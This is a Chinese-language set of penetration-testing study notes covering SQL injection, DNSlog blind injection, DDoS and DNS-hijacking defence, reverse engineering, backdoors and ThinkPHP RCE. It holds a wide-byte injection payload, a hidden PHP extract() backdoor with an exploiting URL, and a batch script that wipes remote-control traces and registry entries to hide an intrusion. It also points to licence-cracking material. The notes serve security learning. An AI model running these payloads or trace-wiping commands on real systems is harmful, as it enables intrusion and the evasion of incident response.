学习书籍推荐

如果没有选择方向,可以参考泉哥的信息安全从业者书单推荐

  • Web安全攻防:渗透测试实战指南 - 熟悉各种渗透操作的一本书,而且有一定深度,入门首推这本。
  • Web安全深度剖析 - 同样适合新手入门,如果上面那本看着还觉得难,那就从这本开始吧。(首推上面那本,有空可以看这本补充下)
  • 白帽子讲Web安全 - 道哥的Web安全入门经典,必读不解释。(零基础觉得有难度的话可以入门之后再看,另外个别技术的确太老了。)
  • Web攻防之业务安全实战指南 - 新人推荐,能快速理解常见的渗透测试业务安全问题的基本原理防范措施。

更多IT类书籍推荐可以看我的读书雷达

企业级攻防演练attacking and defensive

涉及企业内部红蓝攻防演练,网上可收集资料较少,后续补充。详见 攻防演练

线上渗透测试目标

虽然一般来说是不允许随便进行未授权的渗透测试的,但是AWVS官方提供了的这个网站可作为专门的线上测试目标。

  • ***.com
  • vulhub
  • vulstudy

Exp&PoC平台/集合

  • PayloadsAllTheThings - A list of useful payloads and bypasses for Web Application Security.
  • exploit-db:Offensive Security / Kali Linux 团队维护
  • vulhub
  • EdgeSecurityTeam - Vulnerability
  • Penetration_Testing_POC

PS: Exp&PoC合集的工具库的日常积累,有利于自动化攻击框架等的研发。

白帽Hacking的目的

1.理解系统(Understanding):系统性地基础课程学习,深入理解计算机系统运作机制。
2.破坏系统(Breaking):学习与创造漏洞挖掘与利用技巧。
3.重构系统(Reconstruction):设计与构建系统防护。

简言之:破而后立。

建议掌握的语言

时至今日,已产生了各种各样的计算机语言,虽然没必要都学,下面这几种建议都有所了解,择其一二精通。

python    快速写测试脚本和处理数据必备
go
php
assembly   汇编语言,研究二进制、逆向破解必学

面试知识

渗透测试面试知识点

开源推荐

  • awesome-browser-exploit

公共安全事件

  • 2019年网络安全事件回顾(国际篇)
  • 2019年网络安全事件回顾(国内篇)

拓展知识

  • 远控免杀专题
  • HackTricks 渗透Tips

其它知识点

RCE无回显如何利用?

常见利用方式: - 反弹shell - dnslog外带 - http请求外带 - 页面返回时间判断 - 盲写webshell

ref: 渗透测试之RCE无回显利用方式

红蓝对抗

本来想分开写的,后来想想攻守兼备才是学习目标,不如放在一起参照着学习。

按照国际通用惯例:红队是指攻击方,蓝队是指防守方。

最近国外也提出紫队的概念,但和国内某安全大厂的紫队概念差距挺大,所以暂时不讨论其它颜色战队。

RedTeam 红队

更多见RedTeam专题页面

BlueTeam 蓝队

更多见BlueTeam专题页面

REF

  • 黑客秘笈——渗透测试实用指南(第3版) ,原名:The Hacker Playbook 3,切记不要买正式出版的那个中文翻译版,翻译质量相当糟糕。
  • RTFM:Red Team Field Manual 2014出版,有点年头了
  • BTFM:Blue Team Field Manual 2017出版
  • PTFM:Purple Team Field Manual 2020年出版,没找到电子版,Amazon上可以买kindle版或纸质版

其它

PS:其它国内不同公司攻防演练划分的3色(某信)、5色(某恒)队,暂时不写,等以后有空学完资料再来补充。

实战攻防演练

目前已入手的最新的资料是奇信安的"实战攻防演习"三色书:

实战攻防之红队视角下的防御体系突破

蓝队视角下的防御体系构建

紫队视角下的实战攻防演习组织

(PS: 关于颜色战队的问题,除了红队和蓝队目前在业界有统一定义,其它颜色战队的含义各有不同,注意结合具体材料内容理解)

蓝队

必备命令

渗透测试SQL注入

SQL注入分类

1.基于布尔类型的盲注

可以根据返回页面判断条件真假的注入。

2.基于时间的盲注

不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即根据页面返回时间是否增加)来判断。

3.基于报错注入

页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。

4.联合查询注入

在可以使用Union的情况下的注入。

5.堆查询注入

可以同时执行多条语句时的注入。

DNSlog盲注

主要结合ceye.io(知道创宇)的这个平台来折腾。因为UNC路径原因dnslog回显只能用于windows系统。

DNSLog注入常用场景

1.SQL注入中的盲注 在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显

2.无回显的命令执行 我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功

3.无回显的SSRF

REF: DNSlog注入学习 《网络攻防实战研究:MySQL数据库安全》

宽字节注入

什么是宽字节? GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际为2字节。(比如:中文、日本、韩文等编码) 而长度为1个字节的是窄字节。

宽字节注入原理

宽字节注入原理示意图

注意:ASCII码大于128才能到汉字的范围。

宽字节注入方法

在注入点后键入%df,然后按照正常的注入流程开始注入。

eg:***.com' union select 1,(select user()),3 --+

宽字节注入防范措施
  1. 数据库使用utf-8编码 (中文、日本、韩文等编码都是宽字节,所以都有可能存在宽字节注入漏洞)

  2. php使用mysql_real_escape_string时,要设置mysql_set_charset('gbk',$conn);

  3. 设置mysql字符集参数,character_set_client=binary

二次编码注入

二次注入

分布式拒绝服务

DDoS(Distributed Denial of Server)分布式拒绝服务攻击, 利用合理的请求造成资源过载,导致服务不可用。分布式拒绝服务攻击,将正常请求放大了若干倍,通过若干个网络节点同时发起攻击,以达成规模效应。

关于DDoS的防御

虽然简单但是干货:

资金充足的方案

1.使用云服务商的高防服务器(比如:阿里云的高防服务)

资金不足的方案

1.如果偶发性被DDoS攻击,原有IP暂时被封堵,先开临时IP和付费CDN,保证网站业务能正常运营。

2.如果长期被定点DDoS攻击,则放弃使用原有IP,换一个新IP, 新IP用CloudFlare的付费CDN,自带防护功能。然后再用上多个nginx进行反向代理和负载均衡,既可以缓解CC攻击和部分DDoS攻击,也可以隐藏真实IP。

相关结构如下: cloud cdn -> 多个 nginx 反向代理 -> 真实服务器

Nginx反向代理和负载均衡的区别:Nginx负载均衡需要通过反向代理来实现;而反向代理就是指Nginx作为前端服务器,将请求转发到后端,再将后端服务器的结果,返回给客户端。

正向代理代理客户端,反向代理代理服务器。

其它解决方案

如果IP长期被针对性攻击,则只有换IP,加高防CDN,或者迁移业务到安全防护更好的运营商去。

DNS攻击

DNS劫持(DNS Hijacking)

DNS劫持主要流程

配置Web服务器 -> 寻找网关和受害者 -> 发动攻击 -> 伪造钓鱼网站 -> 截获数据(如:cookie或token等)

主要防御方式

1.使用可信的DNS服务 2.加强设备和网络的安全防护 3.采用DNS安全扩展(DNSSEC) 4.注意鉴别钓鱼网站 5.提高网络安全意识

ref: - DNS劫持的演示与防御

逆向工程

新手友好向破解教程

***.com的yyhd的新手友好向破解教程 《玩玩破解,写给新人看》系列教程,24集+拓展

此课程的自学笔记在此

逆向学习路线阅读推荐

  • 基础部分:C语言,王爽汇编语言
  • 逆向工程:逆向工程核心原理(韩国人写的那本),再看加密与解密4 (然后就是多看别人的逆向练手了)
  • 恶意代码分析:恶意代码分析实战
  • 漏洞挖掘:0day安全:软件漏洞分析技术 第2版、漏洞战争进阶

必读推荐

《深入理解计算机系统》(这本以后一定要看,但不推荐零基础看)、《汇编语言(第3版)》王爽、《C Primer Plus》、《加密与解密》(目前已经第4版了)、《逆向工程权威指南》、 《0day安全:软件漏洞分析技术(第2版)》、《漏洞战争:软件漏洞分析精要》(需要一定基础)、《内核漏洞的利用与防范》(需要一定基础)。

Git Repo推荐

  • alphaSeclab/awesome-reverse-engineering
  • wtsxDev/reverse-engineering

基本概念

汇编指令基础知识

Windows逆向基础知识

能力要求:熟悉C语言,熟悉Win32编程 参考书籍:《IBM PC汇编语言程序设计》、《C语言程序设计》、《Windows程序设计》

二进制安全学习规划指南

笔记迁移到这里

常用逆向技巧

PYC文件的简单分析

后门

术语解释

根据某词条解释:

Backdoor,电脑病毒木马,中文名称“后门”, 是指在用户不知道也不允许的情况下,在被感染的系统上以隐蔽的方式运行可以对被感染的系统进行远程控制,而且用户无法通过正常的方法禁止其运行。

但实际使用时对于web也可以使用,比如webshell,就算是一种相当常见的Web应用后门。

Backdoor示例

PHP Backdoors: Hidden With Clever Use of Extract Function

这个是14年2月国外研究人员发表的, 算是经典案例。

在phpinfo.php中发现可疑代码如下:

    @extract ($_REQUEST); 
    @die ($ctime($atime));

example

知识点补充:

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

die() 函数输出一条消息,并退出当前脚本。

$_REQUEST — HTTP Request 变量,默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组。

利用和解释:

在浏览器访问:***.com/phpinfo.php?ctime=system&atime=ls -la

extract结合变量将 @die ($ctime($atime)); 转为 @die (system(“ls -la”)); ,这样就能实现远程命令执行RCE。

扩展:变量名替换;增加函数嵌套逻辑等等。

ref: PHP Backdoors: Hidden With Clever Use of Extract Function

Rootkit

详见笔记

Bootkit

REF

  • 对抗rootkits
  • 系统安全
  • 反入侵策略总结-基础检测 -- 这是一个系列

网络攻击生命周期

网络攻击生命周期是描述网络攻击的各个阶段的模型。

常见网络攻击生命周期模型/框架

洛克希德·马丁网络杀链 Lockheed Martin Cyber Kill Chain

日志清理

向日葵远控

20210525,路径看目标向日葵的安装目录来决定

@echo off
taskkill /f /im SunloginClient.exe
del /s /q C:\Windows\Prefetch\SUNLOGINCLIENT*.pf
del /s /q
%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\SunloginClient*.lnk
rmdir /s /q C:\ProgramData\Oray\SunloginClient
rmdir /s /q %userprofile%\AppData\Roaming\Oray\SunloginClient
reg delete "HKCU\Software\Oray\SunLogin\SunloginClient" /f
reg delete
"HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run" /v
SunloginClient /f
del /s /q SunloginClient.exe

报告和笔记

  • 对于专业人员:一般正式对目标完成渗透测试后需要撰写测试报告。
  • 对于业余爱好者:完成渗透测试后最好能养成整理渗透测试笔记的习惯。

笔记的形式

笔记的形式多种多样,严格来说,目前还没有完美的毕竟形式。

  • 纸质(缺点:不易保存)
  • 图片(缺点:不易增改)
  • 电子笔记(缺点:需要电子设备)
  • 云笔记(缺点:需要网络,依赖厂商)

个人解决方案

  1. 文字笔记Typora + Markdown,图床用Github + PicGo。 (备用方案:VSCode + markdown plugin也是不错的方案)
  2. 思维导图xmind或者百度脑图,流程图VSC + ***.com。
  3. 利用Github免费的私人仓库管理笔记,保持笔记内容同步。

关于Typora收费后的问题

1.有条件的请支持正版,毕竟开发一款好软件也是很不容易的。 2.有能力的可以参考学习这个:Typora 授权解密与剖析和Typora 1.x 加密密钥 3.小白最优接解决方案,使用最后一个beta版(免费,但是会被检测并提示版本过低无法使用),解决版本提示的方法如下(如不成功就重装最后一个beta版再按这个操作后启动): - 手动处理

渗透测试笔记的内容

  1. 概念型:新的安全和渗透测试相关术语
  2. 过程型:新的靶场和漏洞浮现中的关键思路、步骤和利用的脚本以及出现的问题(根据个人记忆力来决定内容详细程度)
  3. 归纳:参考纵向层次对、横向对比对相关知识进行归纳总结。

ThinkPHP5 RCE

原则上,获取源代码到本地进行动态和静态分析(代码审计)。

源码下载地址:

***.com

ThinkPHP 5.X RCE 总结

ref: ***.com (细致全面,各版本都很清楚) ***.com (PHP-Audit-Labs) ***.com